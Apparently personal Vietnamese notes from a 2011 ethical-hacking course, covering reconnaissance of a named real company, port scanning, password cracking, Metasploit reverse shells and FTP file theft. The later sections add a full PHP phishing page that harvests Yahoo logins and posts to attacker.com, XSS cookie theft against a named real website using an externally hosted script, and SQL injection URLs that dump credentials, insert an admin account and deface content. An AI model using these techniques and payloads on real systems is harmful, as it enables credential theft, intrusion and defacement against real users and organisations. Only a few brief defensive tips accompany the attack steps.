30/3/2011
Footprinting
Các bước tiến hành:
+ Danh sách các máy chủ ( server ) + Vị trí server + Email, domain, những thông tin các nhân Các dạng mạng tổ chức: + Mô hình lớn 2 firewall + Mô hình nhỏ 1 firewall + Decticate + VPS + Shared Host Bước đầu tấn công phải hướng tới domain: 1/ xem Whois domain DNS : www.zoneedit.com DNS root : www.iana.org Database Whois : hỏi xem tên miền đã dc đăng kí chưa, ai mua... Đôi khi họ sẽ che whois: “private whois” Riêng .com: wa 2 bước + xem domain +cần xem Whois Server 2 trang tra domain .com + www.who.is + www.domaintool.com 2/ Xem Record: list record Record A: www → cmd > nslookup, đổi DNS >> server [IP] Record Mail: set type=mx >> đánh tên trang web Record tên miền: set type=ns xem IP tên miền Set type=a xem Soa set type=soa Tra tên các record máy chủ khác: + Móc IP vào primary + Tải các record khác: ls -d [tenmien] Neu ko tau dc record quay lai cach mac dinh, tra tu tu cac server: ---- Set type=a >>> set type=mx vd: vinamilk.com.vn (A): ------------118.69.204.196 www. ---> -----------(mx): mail: 22.255.78.94 mail4: 123.30.89.50 ---- tim cac IP moi cua cac server ( đoán ) vd: fpt, VPN, …......
Đoán dc có VPN Vpn.vinamilk.com.vn -----> 222.255.74.154 vpn2.vinamilk.com.vn -----> 222.255.74.156 ---- Sereach : google.com search dc Shop.vinamilk.com.vn shop : 222.255.74.155 shop 2: 123.30.89.51 3/ Xem IP public : 1/ Whois IP: + Dung www.iana.org đễ tra location IP của server + Ai đăng kí: nếu là chính người dùng đăng kí thì server ở trên chính người dùng 2/ Tra những cty cùng sử dụng domain ( Reverse lookup ) + Search : www.bing.com ( IP: [ip] ) + Kiểm tra các trang web xem có còn dùng Ip đó không ( vinamilk dùng host thuê ) + Tracer : xác địng qua những đoạn mạng nào cmd >>> Tracert [trang web] 4/ Các thông tin cần khai thác Email: dùng web data extractror ( trong đĩa ) Personal: + Mạng xã hộ + Trang tìm việc + Blog Search: + Keyword: dùng - để loại bỏ các kết quả ko cần + Site: [tên tragn web] + Intitle:”______” + inurl: “___” + Filetype: + Cache: url + archive.org: xem cache các trang web có từ rất lâu
Scanning
I/ Protocol: IP, ICMP, TCP, UDP 1/ ICMP: + Dùng để test. chỉ đóng gói IP, chỉ có 3 lớp, ko có tranport, ARP → đổi sang IP. + ARP chỉ có 2 lớp ko gắn IP. + Thuộc tầng Network + Type và code: 80: ping, replay: 00 + Cmd >>> Ping: nếu show hơn 8 dòng, or mình dính virus, 2 là máy bị ping dính virus
2/IP: + Protocol: IPv6: 86PD; IPv4: 0800 + Connectless: + Nhận: + Ko nhận: trả lại IP ( type 3) 3/ TCP: + Port: 65536 port + Connection Oriented A >>>>> SYN >>>>> B A <<<<< SYN, ACK <<<<<<B A >>>>> ACK >>>>>> B + SEQ/ACK 4/ UDP + Connectless + Ko kiểm soát luồng data Đọc tài liều thêm : RFC II/ Scanning: 1/ IP protocol: Nmap: hỏi IP trước Nmap -sO <target> 2/ UDP: Port 16bit: 65536 port nmap -sU <target> nmap -sU <target> -p <port> ( quét port ) quét hết cái port 3/ TCP: ( chưa chắc bên kia mở port đó, dùng TCP ) 3.1/ TCP connect ( xem bắt tay ) nmap -sT <target> 3.2/ SYN scan: ( nhanh hơn ) nmap -sS <target> -reason ***** run >>> mstsc ( remote destop ) 3.3/ Null Scan: ( ko cho bên kia phát hiện ) - ko chính xác Ko dùng dc trong windows, chỉ dùng cho hệ thống cũ Open: no response Close: resest nmap -sN <target> -p -reason 3.4/ FIN scan = Null Scan: 3.5/ XMas Scan: ( dùng cờ FIN, PSH, URG ) = Null Scan 3.6/ IDLE Scan ( dấu IP của mình ) A >>>>>>>>> B
C Dùng 1 máy trung gian ( Zombie , nên dùng windows ), ko bật fire wall nmap -sI <target mượn> <target cần quét> -PN -PN ( ko cho ping trước, dù máy kia cấm ping nhưng vẫn quét được ) IV. Services: < 1024: Wellknown port Tìm services chạy port đó: 1/ Get banner: ( kết nối máy chủ ) telnet <IP> <Port> *** Đôi khi nhiều servies sẽ ko có banner 2/ Sent request: xem bảng mã : C:\Program Files\Nmap >>>> mở nmap-service-probes nmap -sV ( dùng kèm -sS ) V. OS ( hệ điều hành ) 1/ Nhìn dịch vụ: 2/ dùng Nmap: C:\Program Files\Nmap >>> nmap-os-db nmap -O *** nên check nhiều lần để ra 9 xác 3/ Nếu bật firewall ENUMERATION ( Liệt Kê ) .Account .Share .Services >>>>> Lấy thông tin từ tầng Application Module 6: CA_Setup SolarWinds Network Tools PS-Tools Module 7: PSTools Copy psgetsid.exe >>> c:/ I/ Nell Sassion ( share) >> SMB: 1. TCP: Port 445/139 - Quản lý bằng SID 2. Nếu win <<2k or 2k3 ( DC) >>>: convert trực tiếp Nếu >= XP : chứng thực trức ( = tài khoản bất kì ) Dùng hàm:
. LookupAccountName () . LookupAccountSID () * Cmd >>> cd C:\ Dir C chạy psgetsdid.exe Xem SID user: C:\psgetsid.exe [ tên user ] User tạo ra bởi người dùng có SID >>> 1000 Admistrator có SID 500 **** CAIN: Network >>> Quick list - Connect as + Nếu ko phải DC >> phải dùng user, pass + Nếu là DC : dùng user, pass rỗng ** Đễ tránh trường hợp này phải chỉnh policy + Local >> Security >>>> Network ….. Access allow annoymous …. + Local >> Security >>>> Network ….. Access allow SID/name II. SNMP: ( quản lí thiết bị ) 1/ Được lập trình trên UDP : port 161 2/ Commnunity String (public, private) lun có key, để bảo mật phải thây key Solarwind : + Discovery >> IP Browser + MIB Browser >>> MIB View >>> ( google : mib windows 2003 >> ID xem dịch vụ )
Xóa dấu vết
+ Nmap + Wireshark I/ Fake IP: 1. Proxy: ( chỉ nhận HTTP, FTP ) port :8580, 3128 aliveproxy.com >> http proxy Phần mềm : Ultrasoft ******long.nhatnghe.vn/CEH II. Anomymizer: hidemyass.com III. VPN: Dùng tất cả các dịch vụ + anomitynework.com + hotspotshield.com
SYSTEMP HACKING
Module 7: + LCS + Giai nén Pwdump7 >>c:\ + Opcrack ( bỏ download ) Module 6: + CA_Setup I. Password cracking: 1/ Offline cracking: . Hash (Băm) H (p)= h ( h có 128bit = 10^39) - Các giải thuật Băm Windows: + LM ( đã khá cũ) + NTLM P=14 kí tự : + Số: 10^14 ( trường hợp ) = + Chữ + số: 36^14 ( trường hợp ) = . Xử lý Băm bằng Pre-Hash: Rainbow table p1 >>> h1 >>>> h2 ( lưu tại h1 ) p2 >>>h1 ( p2 sẽ dùng h1 ) . LM ( tối đa 14 kí tự )= 7 + 7 LC5: nếu cặp hash giống nhau là pass rỗng + Pwdump7 lưu : pwdump7 >luu.txt + tự băm CAIN: >> Winrtger ( chain Len: chieu dai chuoi, >>> N*table (4) Charset ( Alpha - numberic ) + Dùng Opcrack >>> Table >>> add table từ đĩa của CEH >>>> Load *** file pass window/systemp32/config/ SAM ( chép hết lun file config ) **** Trang bán Table ++++ Cách xây dựng 1 table để ko thể Hash P1=h1 ( h1 + random = h2) Lưu pass h2 User Admin Password h2 phải lưu lại (random)
Giá trị random gọi là SALT ( chỉ cần 3 kí tự ) +++ Run>>> gpedit >>> windows setting >>> local … >>> security >>>> network security >>>> dont store Lan …. >>> Enabled ( ko cho lưu hash )
2. Online : Modul 7 : Bruter *** Cách chóng: Dùng policy lockout
++Bufferoverflow: Data = Shellcode + return ( ESP ) Nếu shellcode < biến : dùng mã lệnh 90 = NOP + Server side ( services ) + Client side: document, file nhạc, video ++ những đuôi chương trình bị lỗi: ani cmd >>> c:\ ani hinh Exploit-db.com metasploit >> chuong trinh build Shellcode Module 7: framework-3.2.exe
Metasploit
+ Exploit +Uplate + Auto Exploit Cài Metasploit >>> chạy >>> hiện trình duyệt >> dùng shell trả ngược lại cho ta để open port >>>>> windows/shell/reverse_tcp Connect đến mấy target >>> Sessions -i 1 + c:\ftp 1 + open Ip target + prompt + mget * ( tải hết tài liệu ) Cách làm nhanh, ít lỗi ngay từ 1 : + echo open ….>a.txt + echo [ user] >>a.txt +echo [ pass]>>a.txt
+echo prompt + echo birary + echo mget *>>a.txt +echo quit>>a.txt C:\test>ftp -s:a.txt +++ Shell hay: DNS >>> window metermreter /bind/tcp 2. Update: + Online: +Offline: Lên Google search: cooltype sing rb copy adobe_cooltype_sing vào C:\Program Files\Metasploit\Framework3\msf3\modules\exploits\windows\browser Mở = wordpad , search dòng cve-2010-2883, copy C:\Program Files\Metasploit\Framework3\msf3\data\exploits Mở Metaspolit: search: cooltype *****Phòng chống tràn bộ đệm: + Client: + Bật FW, tắt services + Cài ít ctrình + Services: + Tắt services ko dùng + Ko cài Client App + Lập danh sách services + App 3. Automatic: Test hệ thống có bị tràn bộ đệm ko: Metaspolit constrole db_driver sqlite3 ( chọn CSDL) db_create test ( tạo 1 test ) db_nmap [ip target] db_autopwn -t -p -e III/ Hide: process/file: 1/ NTFS stream: mở CMD>> về C gốc >>>notepad file1.txt:file2.txt ( sẽ thấy file 1 nhưng ko thấy file 2 ) >>>>>>>>> ta đã dấu chỉ mục
Trên thanh menu C:\WINDOWS\system32\dllcache ( đánh thêm dllcache)>>>> xóa những file hệ thống, sau này ghi đè lên dllcache trc rùi đè lên những vị trí khác vd: xóa calc trong win lẫn trong cache vào cmd c:\ type file1.txt:calc.exe ( lưu những calc vào file 1) c:\ start file1.txt:calc.exe ( chạy lại calc ) 2/ Module 7: ImageHide ( chỉ dấu dc Bitmap )
SNIFFER
1. Lấy tín hiệu: a. Passive: b. Active: - LAN: hub, Access Point - WAN: Router - LAN: Swich + ARP posioning + MAC fouding +Trojan
WinPcap Module 10 : Etherflood 2. Sniff: 1. ko Mã hóa: Xem cache: arp -a Xóa cache: arp -d Filter : icmp and ip.addr==192.168.12.15 <target máy> 2. Mã hóa: + Đối xứng ( symmetic ): DES, 3DES, AES,.... Ưu: Nhanh Khuyết: phân phối key cho hệ thống + Bất đối xứng ( Asymmectic ): RSA Ưu: phân phối dễ dàng Khuyết: chậm + Fake Certificate + SSLStip 3. Back Track: LINUX Gán: ifconfig eth0 <IP> route add default gw <IP gw> echo nameserver [IP] >>/etc/resolv.....
SESSION HACKING I/ Tầng Network: + IP: Source/ Dest + TCP: SN, AN, Port Dùng hunt >> google search dùng comman line : cd đến thư mục hunt >> gỏ hunt Xem máy đang connect đến mình: netstat -an|findstr :23 [port telnet 23 ] Hunt: d > a > s > a sau khi đầuy độc thành công: back về manu chính : bấm x 2 lần Khi ở menu chính : bấm l để xem các gói đã bắt dc a > chọn phiên thấy được khi L II/ Application: HTTP: Stateless: TCP Website: nhúng session 1. Cookie: 2. Form: hidden 3. URL: trên FF cài Cookie Manage 1.5.1 Wishark : chỉ filter yahoo : dùng http.host contains yahoo.com
PHISHING * HTTP và web application - Thẻ ( tag ): <html> <input> < > , <img>.... - client script <javasript, vbscript>: <script> alert (123 ); </script> - server script ( Php, asp, asp.net ): < ? php $bin1=$_Get[„id‟] echo “Da nhan : $bin1”; <? php
Làm 1 trang fake login
B1 : lưu trang gốc về máy ( đặt tên index ) B2 : Mở trang index sửa trường action
action = http://attacker.com ( hoặc xuli.php ) Xem thẻ input dùng tên gì B3 : tạo file xuli.php >>> dùng hàm %_post [„ten‟] - Lấy dữ kiện. - Chuyển dữ kiện về trang gốc - khi gữi face thêm @[ip máy attacker] vd :
[email protected] ( như vậy sẽ về trang goole chứ ko phải là yahoo ) Code xuli.php: <?php $ten=$_POST["login"]; $mk=$_POST["passwd"]; $f=fopen("luu.txt","a"); fwrite ($f,"ten:$ten - mk:$mk"); fclose($f); ?> <html> <form method="post" action="https://login.yahoo.com/config/login?" autocomplete="" name="f1" onsubmit="return hash2(this)"> <input name=".tries" value="1" type="hidden"> <input name=".src" value="ym" type="hidden"> <input name=".md5" value="" type="hidden"> <input name=".hash" value="" type="hidden"> <input name=".js" value="" type="hidden"> <input name=".last" value="" type="hidden"> <input name="promo" value="" type="hidden"> <input name=".intl" value="us" type="hidden"> <input name=".bypass" value="" type="hidden"> <input name=".partner" value="" type="hidden"> <input name=".u" value="3baigqd6tv2lj" type="hidden"> <input name=".v" value="0" type="hidden"> <input name=".challenge" value="O8jPBBwWFlwDxdfMyII0_NpgCvki" type="hidden"> <input name=".yplus" value="" type="hidden">
<input name=".emailCode" value="" type="hidden"> <input name="pkg" value="" type="hidden"> <input name="stepid" value="" type="hidden"> <input name=".ev" value="" type="hidden"> <input name="hasMsgr" value="0" type="hidden"> <input name=".chkP" value="Y" type="hidden"> <input name=".done" value="http://mail.yahoo.com" type="hidden"> <input name=".pd" value="ym_ver=0&c=&ivt=&sg=" type="hidden"> <input name="pad" id="pad" value="3" type="hidden"> <input name="aad" id="aad" value="6" type="hidden"> <div id="inputs"> <label for="username">Yahoo! ID</label> <input name="login" value="<?php echo $ten ?>" id="username" maxlength="96" tabindex="1"> <label for="passwd">Password</label> <input name="passwd" value="<?php echo $mk ?>" id="passwd" maxlength="64" tabindex="2" type="password">
<button type="submit" id=".save" name=".save" class="secondaryCta" tabindex="5"> Sign In </button> </form> <script> document.all.f1.submit(); </script> </html>
WEB APPLICATION
I/ Mô hình N-tier: Clien >>>> Firewall >>>> Web server >>>> Script >>>> Database II/ Khai báo WebApp: 1. XSS: Cross site scripting VD: http://www.vieclambank.com ************* b/ Đánh cắp cookie B1: tạo trang xuli.php + lấy dữ liệu: $_get [„data‟] + LưuCách nhận biết trang web bị XSS + dùng <script>alert(123)</script> ….chạy là dính lỗi ************* Cách chống: + Gặp thẻ input >>> xóa chuỗi ( str_replace , len goole search code ) + Dùng hàm convert htmlentities >>> cách pass: bỏ script vào thẻ img ( <img src=javacript:fjhdsjfgj ) a/ Phising - Bỏ phần thừa dùng : <!-- Bỏ hết trang, show từ cần show: <script> document.body.innerHTML=”hello”
</script> Vào http://long.nhatnghe.vn/xss/xss2.js để xem đoạn script Paste script vào thẻ http://www.vieclambank.com/search.php?s=%22%3E%3Cscript%20src=http://long.nh atnghe.vn/xss/xss2.js%3E%3C/script%3E B2: Tngvang.com.vn/xuli.php?data='%2Bdocument.cookie</script>
c/ Data tampening ( Invalid Input ) Module 17 : burpsuite_v1.2 Vào FF >> tool >>> Advanced >> dùng proxy 127.0.0.1 Vào burpsuite_v1.2 >>> tab proxy >>> chọn intercept on khi muốn giữ data VD: YUME, post bài , đưa scipt vào bài viết = ctrinh burpsuite_v1.2 ** ha.ckers.org/xss.html d/ Reference: zing.meạo link: - location.href - document.cookie ( dùng %2B để nối chuỗi ) vd: http://www.vieclambank.com/search.php?s="><script>location.href='http://inro e/ SQL injection:
+ C1: dung Union
union select table_name from information_schema.tables B1: tim so cot Union select 1,2,3,4,5 …-SQL= “select * from table where column=‟ ”.$id.” ‟ ”; Code: http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,4,5,6,7-B2: tim ten cot http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,table_name,5,6,7 from information_schema.columns--
Neu MySQL dung ham Limit Neu SQL dung ham Where table_name not in („ ten table dau tien‟)-Show dan dan het cac cot : http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,table_name,5,6,7 from information_schema.columns where table_name not in('dtproperties')-Cac cot tim dc : 'dtproperties','sysconstraints','syssegments','tbl_CorporateTraining','tbl_Course','tbl_C ourseDetail','tbl_CourseType','tbl_FAQ','tbl_NewsCircle','tbl_Schedule','tbl_article','tbl_ users' B3: Liet ke danh sach column ( tbl_users ) http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='tbl_users'-http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='tbl_users' and column_name not in ('Passlen','Password','STT','UserID','UserName')-B4: Liet ket http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,UserName,Password,6,7 from tbl_Users Neu ko tim ra pass Admin thi dung ham Insert http://192.168.11.100/news.asp?nid=NC07'; insert into tbl_users (STT,UserID,UserName,Password,Passlen) values (117,'U17','tvan','202cb962ac59075b964b07152d234b70',3)--
C2: Convert ( chi dung tren MSSQL )
dung 1=1 and dk dung : web ko thay doi http://192.168.11.100/news.asp?nid=NC07' and 1=1-dung 1=a and dk sai: web thay doi http://192.168.11.100/news.asp?nid=NC07' and 1=a-http://192.168.11.100/news.asp?nid=NC07' and 1=@@version-http://192.168.11.100/news.asp?nid=NC07' and 1=(select top 1 table_name from information_schema.columns)-http://192.168.11.100/news.asp?nid=NC07' and 1=(select top 1 table_name from information_schema.columns where table_name not in ('tbl_CourseType','tbl_Course','tbl_CourseDetail','tbl_FAQ','tbl_NewsCircle','sysconstra ints','dtproperties','syssegments','tbl_CorporateTraining','tbl_Schedule','tbl_article','tbl_ users'))-Thay doi News: 2.168.11.100/news.asp?nid=-NC07' union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name= 'tbl_NewsCircle'and column_name not in ('Content','DateInput','English','ImagePath','NewsCircleID','STT','Title')-http://192.168.11.100/news.asp?nid=NC07'; update tbl_NewsCircle set Title='HackbyThevan'-C3: